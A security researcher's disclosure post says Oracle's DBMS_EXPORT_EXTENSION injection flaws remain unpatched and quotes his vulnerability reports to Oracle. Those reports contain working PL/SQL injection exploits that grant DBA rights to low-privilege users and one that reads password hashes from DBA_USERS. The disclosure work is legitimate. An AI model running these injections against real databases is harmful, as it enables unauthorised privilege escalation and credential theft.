Recent Oracle exploit is _actually_ an 0day with no patch
The recent Oracle exploit posted to Bugtraq
(http://www.securityfocus.com/archive/1/431353) is actually an 0day and has
no patch. The patch for 10g Release 2 for April 2006 Critical Patch Update
does _not_ contain a fix for the specific flaw that the exploit takes
advantage of. As it happens - this specific flaw was reported to Oracle on
the 19th of February 2006.
It is incredible how, for such a small package, DBMS_EXPORT_EXTENSION has
had so many problems that Oracle have been unable to fix. Let's look at the
history.
On the 13th April 2004 I reported a SQL injection vulnerability to Oracle in
the GET_DOMAIN_INDEX_METADATA function of this package. Oracle released a
"fix" for this in Alert 68 (August 2004) - but it turns out the fix was not
sufficient. I alerted Oracle to this problem on the 18th of February 2005.
They again attempted to fix these flaws - this time in the October 2005 CPU.
On the 30th of October I reported that the problems were still not fixed
properly. They then tried to fix it again in the January 2006 CPU - but
again there were still issues left. I reported this on 19th of February
2006. I was told the April 2006 CPU contained a fix - but it still
vulnerable.
At the end of this mail are copies of my communications with Oracle with
regards to the flaws in this package. It is unfortunate that Oracle did not
take the opportunity to fix the flaws first time around. It is amazing
Oracle didn't fix them second time around. It is disgraceful, IMO, that they
didn't fix them properly third time around.
I call upon Oracle to "pull their finger out" and get on with delivering
their customers a proper patch - one that finally puts these issues to bed.
In the meantime, revoking the PUBLIC execute permission from this package
will help mitigate the risk.
Cheers,
David Litchfield
NGSSoftware Ltd
http://www.ngssoftware.com/
+44(0)208 401 0070
****** Oracle's response to 13/04/2004 report ******
Thanks David. This will also be investigated. This will be reference number
2004S141E.
Andrew
Oracle Security Alerts
On 04/13/2004 06:17 PM, David Litchfield wrote:
> Howdy,
> The DBMS_EXPORT_EXTENSION owned by SYS is vulnerable to PL/SQL
> injection that allows a low priv user to become a DBA. It executes a
> block of anonymous PL/SQL that we can insert something like EXECUTE
> IMMEDIATE ''grant dba to public'' in.
>
> DECLARE
> NB PLS_INTEGER;
> BUF VARCHAR2(2000);
> BEGIN
> BUF:=
> SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_METADATA('FOO','SCH','FOO',
> 'EXFSYS"."EXPRESSIONINDEXMETHODS".ODCIIndexGetMetadata(oindexinfo,:p3,
> :p4,ENV); EXCEPTION WHEN OTHERS THEN EXECUTE IMMEDIATE ''GRANT DBA TO
> PUBLIC'';END; --','VER',NB,1); END; /
>
> When this query runs, the query in GET_DOMAIN_INDEX_METADATA returns
> 'no data' so we handle the exception using 'when others' and grant dba
> to public in the exception block.
>
> Cheers,
> David
>
****** Oracle's response to 18/02/2005 report ******
Hi David,
We received four emails from you Friday which we are investigating. You
believe that the issues are more general cases of bugs that were fixed in
Alert 68, but we think at least one issue you reported on Friday is new. We
normally get tracking numbers to you promptly, but these issues are taking
longer because it's unclear if we should re-open the old tracking numbers
(because it is an extension of the old issue) or track as new issues. We
will get back to you with tracking numbers once we have a definitive answer.
I appreciate your patience.
Regards,
Darius Wiles
Security Alerts Manager
David Litchfield sent the following message on 02/23/2005 12:53 PM:
> Just wondering if anyone's there and whether this mail (and the others
> sent on Friday) were received?
> Cheers,
> David
> ----- Original Message ----- From: "David Litchfield"
> <davidl@xxxxxxxxxxxxxxx>
> To: "'Oracle Security Alerts'" <secalert_us@xxxxxxxxxx>
> Cc: <dl-advisories@xxxxxxxxxxxxxxx>
> Sent: Friday, February 18, 2005 3:52 PM
> Subject: Patch is broken for
> DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_METADATA
>
>
>> The patch for alert 68 "fixed" the
>> DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_METADATA SQL injection
>> problem; I put "fixed" in quotes because it's not fixed.
>>
>> Here's the original problem:
>>
>> The DBMS_EXPORT_EXTENSION owned by SYS is vulnerable to PL/SQL
>> injection that allows a low priv user to become a DBA. It executes a
>> block of anonymous PL/SQL that we can insert something like EXECUTE
>> IMMEDIATE ''grant dba to public'' in.
>>
>> DECLARE
>> NB PLS_INTEGER;
>> BUF VARCHAR2(2000);
>> BEGIN
>> BUF:=
>> SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_METADATA('FOO','SCH','FOO'
>> ,'EXFSY
>>
>> S"."EXPRESSIONINDEXMETHODS".ODCIIndexGetMetadata(oindexinfo,:p3,:p4,E
>> NV); EXCEPTION WHEN OTHERS THEN EXECUTE IMMEDIATE ''GRANT DBA TO
>> PUBLIC'';END; --','VER',NB,1); END; /
>>
>> Here's the function prototype
>>
>> FUNCTION GET_DOMAIN_INDEX_METADATA (INDEX_NAME IN VARCHAR2,
>> INDEX_SCHEMA IN VARCHAR2, TYPE_NAME IN VARCHAR2, TYPE_SCHEMA IN
>> VARCHAR2, VERSION IN
>> VARCHAR2, NEWBLOCK OUT PLS_INTEGER, GMFLAGS IN NUMBER DEFAULT
>> -1 )
>>
>>
>> Now - here's how you fixed it. You perform a check to see whether
>> TYPE_SCHEMA is valid. In the example I sent I'm injecting into the
>> TYPE_SCHEMA, you see. You check if it's valid with the following:
>>
>> SELECT COUNT(*) INTO RETVAL FROM SYS.USER$ WHERE NAME = TYPE_SCHEMA;
>>
>> IF RETVAL = 0 THEN
>> STMTSTRING := '';
>> RETURN STMTSTRING;
>> END IF;
>>
>> Therefore if the user (the TYP_SCHEMA) doesn't exist you return.
>> However two
>> lines after this we have
>>
>>
>> STMTSTRING :=
>> 'DECLARE ' ||
>> 'oindexinfo ODCIIndexInfo := ODCIIndexInfo(' ||
>> ''''||INDEX_SCHEMA||''','''||INDEX_NAME||''',' ||
>> 'ODCIColInfoList(), NULL, 0, 0); ' ||
>> 'BEGIN ' ||
>> ':p1 := "' || TYPE_SCHEMA || '"."' || TYPE_NAME
>> || '".ODCIIndexGetMetadata(oindexinfo,:p2,:p3); ' ||
>> 'END;';
>>
>> DBMS_SQL.PARSE(CRS, STMTSTRING, DBMS_SYS_SQL.V7);
>> DBMS_SQL.BIND_VARIABLE(CRS,':p1',STMTSTRING,32002);
>> DBMS_SQL.BIND_VARIABLE(CRS,':p2',VERSION,20);
>> DBMS_SQL.BIND_VARIABLE(CRS,':p3',NEWBLOCK);
>>
>> DUMMY := DBMS_SQL.EXECUTE(CRS);
>>
>>
>> so we can STILL inject into the INDEX_SCHEMA or the INDEX_NAME or the
>> TYPE_NAME parameters!!!!
>>
>> Sorry, but does anyone do QA on these "fixes"? ;)
>>
>> Cheers,
>> David
>>
>>
>>
>>
>>
>
>
--
Oracle Security Alerts
secalert_us@xxxxxxxxxx
GPG key: http://www.oracle.com/technology/deploy/security/alerts.htm
****** The mail I sent on 30/10/2005 report ******
Hello,
There's a SQL injection issue in DBMS_EXPORT_EXTENSION still. You fixed the
GET_DOMAIN_INDEX_METADATA sql inject issue by using DBMS_ASSERT; you also
used DBMS_ASSERT for one path of GET_DOMAIN_INDEX_TABLES but not the other:
IF GET_TABLES = 1 THEN
GETTABLENAMES_CONTEXT := 0;
STMTSTRING :=
'DECLARE ' ||
'oindexinfo ODCIIndexInfo := ODCIIndexInfo(' ||
''''||SYS.DBMS_ASSERT.SCHEMA_NAME(INDEX_SCHEMA)||''','''||
SYS.DBMS_ASSERT.SIMPLE_SQL_NAME(INDEX_NAME)||''', ' ||
<SNIP>
ELSE
STMTSTRING :=
'BEGIN ' ||
'"' || TYPE_SCHEMA || '"."' || TYPE_NAME ||
'".ODCIIndexUtilCleanup(:p1); ' ||
'END;';
This if we set the GET_TABLES to 0 hit the unprotected branch and inject:
select
SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('INDX','SCH','TEXTINDEXMET
HODS".ODCIIndexUtilCleanup(:p1);
execute immediate ''declare pragma autonomous_transaction; begin execute
immediate ''''grant dba to public'''' ; end;''; END;--','CTXSYS',1,'1',0)
from dual;
This was tested on 10g Linux + October CPU and 8.1.7.4 Windows + October CPU
(though we don't need the double quotes for 8.1.7.4)
Cheers,
David
****** The mail I sent on 19/02/2006 ******
Hello,
We can force DBMS_EXPORT_EXTENSION.GET_V2_DOMAIN_INDEX_TABLES to open a user
specified and created object and have it execute a function. Tested on 10gR2
CONNECT SCOTT/TIGER
SET SERVEROUTPUT ON
create or replace function myfunc return varchar2 authid current_user is
PRAGMA AUTONOMOUS_TRANSACTION; begin DBMS_OUTPUT.PUT_LINE(USER); execute
immediate 'grant dba to scott'; commit; return 'STR'; end; / CREATE OR
REPLACE TYPE OWN10G3 AUTHID CURRENT_USER AS OBJECT (
key RAW(4),
objid RAW(4),
tmpobjid RAW(4),
flag RAW(4),
static function ODCIIndexUtilGetTableNames (idxinfo IN sys.ODCIIndexInfo,
rdonly IN number,
version IN VARCHAR2,
ctxt OUT number)
return BOOLEAN
);
/
CREATE OR REPLACE TYPE BODY OWN10G3 IS
static function ODCIIndexUtilGetTableNames (idxinfo IN sys.ODCIIndexInfo,
rdonly IN number,
version IN VARCHAR2,
ctxt OUT number)
RETURN BOOLEAN IS
X VARCHAR2(20);
BEGIN
DBMS_OUTPUT.PUT_LINE('IN_IN_IN_IN_IN_IN_IN_IN_IN_IN');
X:=SCOTT.MYFUNC();
DBMS_OUTPUT.PUT_LINE('END_END_END_END_END_END_END_E');
RETURN NULL;
END;
END;
/
DECLARE
N INTEGER;
READ_ONLY PLS_INTEGER;
GET_TABLES PLS_INTEGER;
GMFLAGS NUMBER;
BEGIN
GMFLAGS:=0;
N:=SYS.DBMS_EXPORT_EXTENSION.GET_V2_DOMAIN_INDEX_TABLES('OWN10G3','SCOTT','O
WN10G3','SCOTT',1,'VER',1,GMFLAGS);
END;
/
CONNECT SCOTT/TIGER
SELECT USERNAME,PASSWORD FROM DBA_USERS;
CONNECT / AS SYSDBA
REVOKE DBA FROM SCOTT;